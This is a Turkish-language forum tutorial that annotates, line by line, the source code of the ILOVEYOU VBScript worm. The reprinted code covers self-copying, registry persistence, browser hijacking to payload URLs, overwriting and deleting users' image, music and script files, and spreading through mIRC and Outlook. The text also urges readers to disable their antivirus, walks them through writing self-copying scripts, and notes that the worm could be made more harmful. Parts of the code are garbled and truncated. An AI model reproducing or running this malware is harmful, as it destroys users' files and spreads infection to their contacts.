I Love You Virüsünün Ayrıntılı Analizi
Zamanın ünlü Virüslerinden olan I love You virüsünün analizi Tahribat.Com için Çeşitli yabancı kaynaklardan derlenerek ve eklemeler yapılıp tarafımdan türkçeye çevrilmiştir.Bu virüs sisteminize birçok şekilde bulaşabilir. Elektronik posta, windows dosya paylaşımı, irc, ve web sayfaları virusun bulaşma kaynakları.Ilk olarak Virüsün Genel Yapısına Bakalım Sonra Kodlara Geçelim. Virüs çalıştığı zaman, kendi kopyasını Microsoft Outlook'u kullanarak adres defterindeki tüm kayıtlara göndermeye calışır. Yolladığı mailin şu gibi özellikleri vardır.
Not: (Bu dökümanı açtığınızda virüs programlarınız bu dökümanı virüs sanıp açmayabilir bu yüzden virüs programlarınızı kapatınız..(Dökümanın içindeki kodlardan ötürü yoksa döküman virüs içermez.))
LOVE-LETTER-FOR-YOU.TXT.VBS seklinde bir ilavesi (attachment) olur.
Konusu (Subject) "ILOVEYOU" dur.
İçerikte "kindly check the attached LOVELETTER coming from me." bilgisi vardir
Virüs çalıştığı zaman irc programı mirc'nin bulunduğu herhangi bir klasörde bir script.ini dosyasını hazırlamaya çalışacaktır. Böylelikle irc kanallarında bu dosyayı diğer kullanıcılara göndermeyi ve yayılmayı amaçlar. Virus çalıştığı zaman bazı dosyalara bulaşır Bu dosyaların paylaştığı ağ sistemleri üzerinden başka kullanıcılarca da çalıştırılması onlarada virüsün bulaşmasına sebep olur.
Uzantısı vbs yada vbe olan dosyaların üzerine kendini kopyalar. Uzantısı js, jse, css, wsh, sct, yada hta olan dosyaların üzerine kendini kopyalayacak ve uzantısını vbs ye çevirecektir. X.css dosyası X.vbs halini alacak ve virüsün bir kopyası olacaktır. Uzantısı jpg veya jpeg olan dosyaların üstüne virüs kendisini kopyalayacak ve uzantısını .vbs haline getirecektir. X.jpg dosyası virüs taşıyan X.vbs haline gelecektir. Uzantısı .mp3 veya .mp2 olan dosyaların üstüne virüs kopyalanacak ve uzantısını .vbs haline getirecektir. Jpg lere yaptığı işlemlerin aynısını bu uzantılı dosyalarda da yapacaktır.
Internet Explorer başlangıç sayfasını değiştirir.
\WinFAT32.exe dosyası olmadığında Internet Explorer başlangıç sayfası rastgele seçilecek 4 URL den birisi yapılır. Bu 4 URL WIN-BUGSFIX.exe diye bir dosyayı gösterir.Virüs bu dosyanın varlığını indirilmiş dosyalar klasöründe kontrol eder ve bulunursa, program bilgisayarın yeniden başlatımından sonra ilk çalışacak dosyalar listesine eklenecektir.
Adım Adım Kodların İncelemesi:
Bu virüsün şaka için yapılmadığı kesin ama, bir virüsüçok daha fazla zararlı yapacak olan bazı basit değişiklikler vardır.Bunlarda kişinin hayal gücüne ve bilgisine kalmış bugunlerde çoğu solucan yada virüs yazarının yazdığı virüsler yada solucanlar bazı kişiler tarafından yeniden düzenlenerek daha zararlı hale getirilmişlerdir örneğin blaster...
Şimdi Adım Adım kodları inceleyelim
Alt satırdaki kodlar programı yapan kişiyi belirtmek için kullanılır rem ile başlanılıp ardından belirtmek istediğiniz metinleri yazabilirsiniz tabi tanınmak istemiyorsanız orası size kalmış...
rembarok -loveletter(vbe)
rem by: spyder/ispyder@mail.com/@GRAMMERSoft Group/Manila,Philippines
Bi alttaki satırda gerçek scriptte olması gerektiği gibi bazı declarations ve initializations’lar verilmiş.
On Error Resume Next‘hata olduğunda Bir sonrakine Geç
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow ‘ Burada Tanımlama işlemi yapılıyor
eq=""
ctr=0
Alt taraftaki kod ilk olarak daha sonra kullanılıcak olan Dosya sistem objesini yaratır (FSO).Bu obje sayesinde dosya sistemlerine kolaylıkla ulaşılabilir ,ve ne istiyorsanız yapabilirsiniz bu obje fso’da depolanır ve scriptin arka kısmında çalışır.
Set fso = CreateObject("Scripting.FileSystemObject") ‘fso tanımlanır
set file = fso.OpenTextFile(WScript.ScriptFullname,1) ‘file Tanımlanır
vbscopy=file.ReadAll ‘vbscopy tanımlanır
Sonra Ana alt rutin çağırılır. Alttaki kod
main() ‘main rutini çağırılır
Main Alt rutini
Genel olarak bu rutin ilk olarak resume on error ve zorunlu bildirilerle başlar.
sub main()
On Error Resume Next
dim wscr,rr
Bu rutin ilk olarakscript zaman aşımını ayarlıyor registry’den değerleri kontrol ediyor ve 0’lıyor.Değişken wscr arka planda çalışıyor ve CreateObject("WScript.Shell")birden çok kere çağrılıyor. set wscr=CreateObject("WScript.Shell") ‘değişken wscr ayarlanıyor
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") ‘ rr değişkeniyle az önceki tanımlanmış değişken
olan wscr sayesinde registry’den üstteki değer okunuyor.
if (rr>=1) then‘ Eğer okunan değer 1’den büyükyada 1 ‘ e eşitse altaki olayı gerçekleştir
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" ‘bu sefer tanımlı wsc(WScript.Shell kullanarak) registry yazma özelliği ile üstteki anahtar değeri 0 yapılıyor
end if
Şimdi önemli tüm sistem dosyalarının isimleri alınıyor
Set dirwin = fso.GetSpecialFolder(0) ‘burada windows klasörünün ismi alınıyor dirwin değişkenine atanıyor
Set dirsystem = fso.GetSpecialFolder(1) ‘burada sistem klasörünün ismi alınıyor dirsystem değişkenine atanıyor
Set dirtemp = fso.GetSpecialFolder(2) ‘burada temp klasörünün ismi alınıyor dirtemp değişkenine atanıyor
Eğer buranın nasıl yapıldığını anlamak istiyorsanız bir örnek yapalım:Şimdi Notepad’i açalım vealttakiler aynen yazalımKodlar incelediğimiz script ile aynı değişkenlere sahip olayı kavramak için değiştirmedim
On Error Resume Next ‘hata varsa sonrakine geç
dim fso,dirwin ‘burada fso ve dirwin tanımladık
Set fso = CreateObject("Scripting.FileSystemObject") ‘fso’yu dosya sistem objesi yaratmak için kullandık
Set dirwin = fso.GetSpecialFolder(0) ‘az önce kodumuzda kullanılan kısım burası önemli GetSpecialFolder(0) olduğu zaman windows klasörünün yolunu belirtir oradaki 0 eğer1 olsaydı sistem yolunu verecekti..
msgbox dirwin,(vbinformation),"Fugitive" ‘buradada sonucu mesaj kutusuna yazdırıyoruz yani windows klasörünün yolunu bize msj kutusu şeklinde verecek
şimdi bunu nasıl çalıştıracağız notepad’e kodları yazdıktan sonra tabii kırmızı kısımlar hariç notepadde Dosya>Farklı kaydet>alttan tüm dosyaları seçip isim olarakta fugitive.vbs yapıp masaüstüne kaydedin şimdi masaüstünüzdeki fugitive.vbs dosyasına çift tıklayın msjkutusunda windows klasörünün yolunu göreceksiniz bu olay bu kadar.
Devam Ediyoruz şimdi klasörlerin yerlerini öğrenen scriptimizkendi yolunu nerede olduğunu ismini cismini alıyor ve kendini daha önceden belirlediği önemli klasörlerin içine kopyalıyor...
Set c = fso.GetFile(WScript.ScriptFullName) ‘burada script kendinin nerede olduğunu tam yolunu ve ismiyle beraber alıyor.
c.Copy(dirsystem&"\MSKernel32.vbs") ‘burada önceden tanımladığı sistem klasörüne kendini MSKernel32.vbs diye kopyalıyor
c.Copy(dirwin&"\Win32DLL.vbs") ‘burada önceden tanımladığı windows klasörüne kendini Win32DLL.vbs diye kopyalıyor
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") ‘burada önceden tanımladığı sistem klasörüne kendini LOVE-LETTER-FOR-YOU.TXT.vbs diye kopyalıyor
Dilerseniz bunla ilgilide bir örnek yapalım:Mesela program nasıl kendi yolunu buluyorAz önce yaptığımız uygulamayı açalım kaydettiğimiz fugitive.vbs uzantılı scriptimize sağ tıklayıp düzenle diyelim tekrardan notepadde kodlar çıktı şimdi orjinal kodlar alttakiler eklediğim yerleri turuncu yapıyorum
On Error Resume Next
dim fso,dirwin
Set fso = CreateObject("Scripting.FileSystemObject")
Set dirwin = fso.GetSpecialFolder(0)
Set c = fso.GetFile(WScript.ScriptFullName)
msgbox dirwin,(vbinformation),"Fugitive"
msgbox c,(vbinformation),"Fugitive"
şimdi notepadden kaydet diyelim ve masaüstümüzden tekrar dosyayı çalıştıralım ilk olarak daha önceki uygulamamızda yaptığımız windows klasörünün yeri msj kutusunda çıkacaktır tamam dedikten sonra kaydettiğimiz vbs uzantılı dosyamızın tam yolu ve ismi msj kutusunda karşımıza çıkacaktır burası anlaşılmıştır..Peki kopyalama işlemini nasıl yapıcağız bunu yapıp yapmamakta özgürsünüz şimdi örneğimizi tahribat.vbs olarak windows klasörüne kopyalamak istiyoruz Tekrar kaydettiğimiz dosyamıza sağ tıklayıp düzenle diyoruz ve kodlarımız çıkıyor şimdi sadece bir satır kod ekleyeceğiz ve windows klasörüne tahribat.vbs uzantılı dosyamız kopyalanmış olucak.Gene eklediğim satırı turuncu renkle yazıyorum..
On Error Resume Next
dim fso,dirwin
Set fso = CreateObject("Scripting.FileSystemObject")
Set dirwin = fso.GetSpecialFolder(0)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirwin&"\tahribat.vbs")
msgbox dirwin,(vbinformation),"Fugitive"
msgbox c,(vbinformation),"Fugitive"
şimdi notepadden kaydet diyelim ve masaüstümüzden tekrar dosyayı çalıştıralım ilk olarak daha önceki uygulamamızda yaptığımız windows klasörünün yeri msj kutusunda çıkacaktır tamam dedikten sonra kaydettiğimiz vbs uzantılı dosyamızın tam yolu ve ismi msj kutusunda karşımıza çıkacaktır fakat arka planda dosyamız windows klasörüne kopyalanmış olucaktır.Dilerseniz windows klasöründe tahribat.vbs dosyasını silebilirsiniz..
Devam Ediyoruz diğer alt rutinleri çağırıyoruz
regruns()
html()
end sub
Regruns alt rutini
Klasik error resume ve değişkenlerle başlıyoruz gene üstte bahsetmiştik
sub regruns()
On Error Resume Next
Dim num,downread
Bu rutinde yapılan işlemler az önce çeşitli klasörlere kopyaladığı dosyaları sistem açılışında çalıştırmak
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" ‘sistemin açılışına MSKernel32.vbs dosyasını ekliyor tabi yerini dirsystem ile çağırıyor bu işlem üst tarafta örnekli yapılmıştı
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" ‘sistemin açılışına Win32DLL.vbs dosyasını ekliyor tabi yerini dirwin ile çağırıyor bu işlem üst tarafta örnekli yapılmıştı
alttaki kodlar Internet Explorer download klasörünü C:\ olarak değiştiriyor (eğer c:\ değilse)
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")’ burada registryden değer okunuyor regget download klasörünün yeri kontrol ediliyor
if (downread="") then ’eğer tanımlı değilse
downread="c:\" ‘ c:\ yap
end if
Alttaki satırlarda bazı kısaltmalar var "HKCU” "HKEY_CURRENT_USER" demek. Kodlar sadece Fat32 sistemde işlevini yerine getirebilir .Alttaki kodlarda script 1 den 4 e kadar rakam üretir ve hangisi gelirse o yordamı gerçekleştiri yani o kayıttaki adresi açılış sayfası yapar.
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize ‘ burada rastgele sayı üretiliyor 4’e kadar
num = Int((4 * Rnd) + 1) ’işlemi yap
if num = 1 then ‘eğer sayı 1 çıkarsa alttaki işlemi yap
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe ‘regcreate yani registry’de internet explorer açılış sayfasını üstteki adresle değiştirir.
elseif num = 2 then ‘eğer sayı 2 çıkarsa
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe ‘ registry’de internet explorer açılış sayfasını üstteki adresle değiştirir.
elseif num = 3 then ‘eğer sayı 3 çıkarsa
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe” registry’de internet explorer açılış sayfasını üstteki adresle değiştirir.
elseif num = 4 then ‘ eğer sayı 4 çıkarsa
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage",
http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe” registry’de internet explorer açılış sayfasını üstteki adresle değiştirir.
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then ‘ burada yukarda tanımlanan download klasörümüzde WIN-BUGSFIX.exe kontrol edilir.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" ‘ve açılışa bu programda eklenir
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" ‘ve açılış sayfası eski haline döndürülür kimse kıllanmasın demi J
end if
end sub
Listadriv alt rutini
İşte scriptin burasında biraz pislik başlıyordosyaların üstüne yazma yeniden adlandırma resimlerin uzantısını değiştirme falan bu prosedürde ön bilgi ile alınacak...
Altta Tüm sürücülerin bilgileri toplanıyor Fso ile tabiki
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
Altta Tüm sürücülerdeki klasörlerin listesi alınıyor
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
infectfilesalt rutini
Klasik rutin ön tanımlamaları
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
Klasördeki tüm dosyaların bilgilerini alıyor
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
küçük harflerle yazım işlemi
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
eğer dosya uzantısı vbs yada vbe ise bunları aç ve içine scriptin kodlarını yaz
if (ext="vbs") or (ext="vbe") then ‘eğer vbs yada vbe ise
set ap=fso.OpenTextFile(f1.path,2,true) ‘dosyayı aç
ap.write vbscopy ‘scriptin aynısını yaz
ap.close ‘ kapat
Altta aynı işlemler js,jse,css,wsh için yapılıyor
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
Sonra dosyaları aynı isimle .vbs uzantılı olarak kopyala ve orjinal dosyayı sil
bname=fso.GetBaseName(f1.path) ‘İsmini al
set cop=fso.GetFile(f1.path) ‘dosyayı al
cop.copy(folderspec&"\"&bname&".vbs")’ dosyayı aynı isimle fakat uzantısını vbs yapıp kopyala
fso.DeleteFile(f1.path) ‘ orjinal dosyayı sil
altta Eğer dosya jpg yada jpeg uzantılı ise scripti üztüne yaz ve uzantısını .vbs yap
elseif(ext="jpg") or (ext="jpeg") then ‘ eğer jpg yada jpeg ise
set ap=fso.OpenTextFile(f1.path,2,true) ‘text dosyayı aç
ap.write vbscopy ‘scripti yaz
ap.close ‘kapat
set cop=fso.GetFile(f1.path) ‘dosyayı al
cop.copy(f1.path&".vbs") ‘dosyayı .vbs olarak kaydet
fso.DeleteFile(f1.path) ‘ orjinalini sil
Aynılarını mp3 ve mp2 uzantıları içinde yap
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
Alttaki kodda mirc dosyaları aranır mirc32.exe, mlink32.exe, mirc.ini, script.ini, or mirc.hlp bulunca script.ini yaratır varsada üstüne yazar bu yazdığı ini dosyası otomatik olarak kullanıcılara kendi yarattığı html dosyasını yollar
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then ‘varsa mirc dosyaları
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") ‘script ini yaz
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=/if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=/.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" ‘buralar mirc script komutları bu kodda dcc send özellliği kullanılıp tüm kullanıcılara LOVE-LETTER-FOR-YOU.HTM dosyası yollanıyor mirc scripti yapıyorsanız biliyorsunuzdur zaten
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
folderlist alt rutini
bu rutin infectfile ve listadriv tarafındanda çağırılıyor klasör listelemek için
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
regcreate alt rutini
biliyorsunuz yukarıda registrye değer girmek için regcreate kullanıyoduk işte işlem kısmı burada
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
regget alt rutini
yukarıda registryden değer almak için regget kullanıyoduk işte işlem kısmı burada
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
fileexist alt rutini
dosya kontrolü için kullanılan rutin var olup olmadığına bakar.
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
folderexist alt rutini
klasör kontrolü için kullanılan rutin var olup olmadığına bakar.
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
spreadtoemail alt rutini
Burasıda scriptin yayılmada kullandığı yöntemlerden biri olan email ile çoğalma yöntemi
Altta klasik tanımlar
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell") ‘değişken tanım
set out=WScript.CreateObject("Outlook.Application") ‘ değişken tanım
Outlookadres listelerini ve isimleri listelemek için getnamespace kullanılır.
set mapi=out.GetNameSpace("MAPI") ‘mapi değişkeni tanım
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x).
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then.
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
adres listesi registrye yazılır
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub.
html alt rutini
html dosyası yaratmak için bu rutin kullanılır.
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
Hit: 7677
Yazar: Fugitive